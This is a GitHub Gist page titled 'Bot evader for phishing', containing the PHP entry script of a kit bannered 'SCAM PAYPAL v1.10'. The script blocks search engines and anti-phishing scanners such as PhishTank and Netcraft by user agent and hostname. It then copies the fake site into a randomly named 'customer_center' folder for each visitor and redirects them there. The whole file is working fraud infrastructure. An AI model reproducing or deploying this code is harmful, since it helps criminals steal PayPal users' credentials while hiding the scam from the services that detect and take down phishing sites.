Created
July 22, 2017 10:20
-
-
Save PalmaSolutions/0800ee80957944d671661a6213a15980 to your computer and use it in GitHub Desktop.
Bot evader for phishing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
_____ _ _ ______ __ __ ___ | |
/ ____| | | | | |___ / /_ | /_ | / _ \ | |
| (___ | |__ __ _ __| | ___ __ __ / / | | | | | (_) | | |
\___ \ | '_ \ / _` | / _` | / _ \ \ \ /\ / / / / - | | - | | - > _ < | |
____) | | | | | | (_| | | (_| | | (_) | \ V V / / /__ - | | - | | - | (_) | | |
|_____/ |_| |_| \__,_| \__,_| \___/ \_/\_/ /_____| |_| |_| \___/ | |
#=======================# | |
# SCAM PAYPAL v1.10 # | |
# SHADOW Z118 # | |
#=======================# | |
$$$$$$$\ $$$$$$$\ $$\ | |
$$ __$$\ $$ __$$\ $$ | | |
$$ | $$ |$$$$$$\ $$\ $$\ $$ | $$ |$$$$$$\ $$ | | |
$$$$$$$ |\____$$\ $$ | $$ |$$$$$$$ |\____$$\ $$ | | |
$$ ____/ $$$$$$$ |$$ | $$ |$$ ____/ $$$$$$$ |$$ | | |
$$ | $$ __$$ |$$ | $$ |$$ | $$ __$$ |$$ | | |
$$ | \$$$$$$$ |\$$$$$$$ |$$ | \$$$$$$$ |$$ | | |
\__| \_______| \____$$ |\__| \_______|\__| | |
$$\ $$ | | |
\$$$$$$ | | |
\______/ | |
*/ | |
session_start(); | |
error_reporting(0); | |
//------------------------------------------|| ANTIBOTS DZEB ||-----------------------------------------------------// | |
include "./BOTS/antibots1.php"; | |
include "./BOTS/antibots2.php"; | |
include "./BOTS/antibots3.php"; | |
include "./BOTS/antibots4.php"; | |
include "./BOTS/antibots5.php"; | |
include "./BOTS/antibots6.php"; | |
//----------------------------------------------------------------------------------------------------------------// | |
if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); } | |
if(strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); } | |
//----------------------------------------------------------------------------------------------------------------// | |
function is_bitch($user_agent){ | |
$bitchs = array( | |
'Googlebot', | |
'Baiduspider', | |
'ia_archiver', | |
'R6_FeedFetcher', | |
'NetcraftSurveyAgent', | |
'Sogou web spider', | |
'bingbot', | |
'Yahoo! Slurp', | |
'facebookexternalhit', | |
'PrintfulBot', | |
'msnbot', | |
'Twitterbot', | |
'UnwindFetchor', | |
'urlresolver', | |
'Butterfly', | |
'TweetmemeBot', | |
'PaperLiBot', | |
'MJ12bot', | |
'AhrefsBot', | |
'Exabot', | |
'Ezooms', | |
'YandexBot', | |
'SearchmetricsBot', | |
'phishtank', | |
'PhishTank', | |
'picsearch', | |
'TweetedTimes Bot', | |
'QuerySeekerSpider', | |
'ShowyouBot', | |
'woriobot', | |
'merlinkbot', | |
'BazQuxBot', | |
'Kraken', | |
'SISTRIX Crawler', | |
'R6_CommentReader', | |
'magpie-crawler', | |
'GrapeshotCrawler', | |
'PercolateCrawler', | |
'MaxPointCrawler', | |
'R6_FeedFetcher', | |
'NetSeer crawler', | |
'grokkit-crawler', | |
'SMXCrawler', | |
'PulseCrawler', | |
'Y!J-BRW', | |
'80legs.com/webcrawler', | |
'Mediapartners-Google', | |
'Spinn3r', | |
'InAGist', | |
'Python-urllib', | |
'NING', | |
'TencentTraveler', | |
'Feedfetcher-Google', | |
'mon.itor.us', | |
'spbot', | |
'Feedly', | |
'bot', | |
'curl', | |
"spider", | |
"crawler"); | |
foreach($bitchs as $bitch){ | |
if( stripos( $user_agent, $bitch ) !== false ) return true; | |
} | |
return false; | |
} | |
if (is_bitch($_SERVER['HTTP_USER_AGENT'])) { | |
echo "404 NOT FOUND"; | |
exit; | |
} | |
/////////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
// Create User FOLDER SCAM ! | |
for ($DIR = '', $i = 0, $z = strlen($a = '123456789')-1; $i != 3; $x = rand(0,$z), $DIR .= $a{$x}, $i++); | |
$_SESSION['_DIR_'] = $DIR; | |
$DIR = "./customer_center/customer-IDPP00C".$DIR; | |
$SZ118="ShadowZ118"; | |
function recurse_copy($SZ118,$DIR) { | |
$dir = opendir($SZ118); | |
@mkdir($DIR); | |
while(false !== ( $file = readdir($dir)) ) { | |
if (( $file != '.' ) && ( $file != '..' )) { | |
if ( is_dir($SZ118 . '/' . $file) ) { | |
recurse_copy($SZ118 . '/' . $file,$DIR . '/' . $file); | |
} | |
else { | |
copy($SZ118 . '/' . $file,$DIR . '/' . $file); | |
} | |
} | |
} | |
closedir($dir); | |
} | |
recurse_copy( $SZ118, $DIR ); | |
#END | |
//LOCATION ! | |
header("LOCATION: ".$DIR.""); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment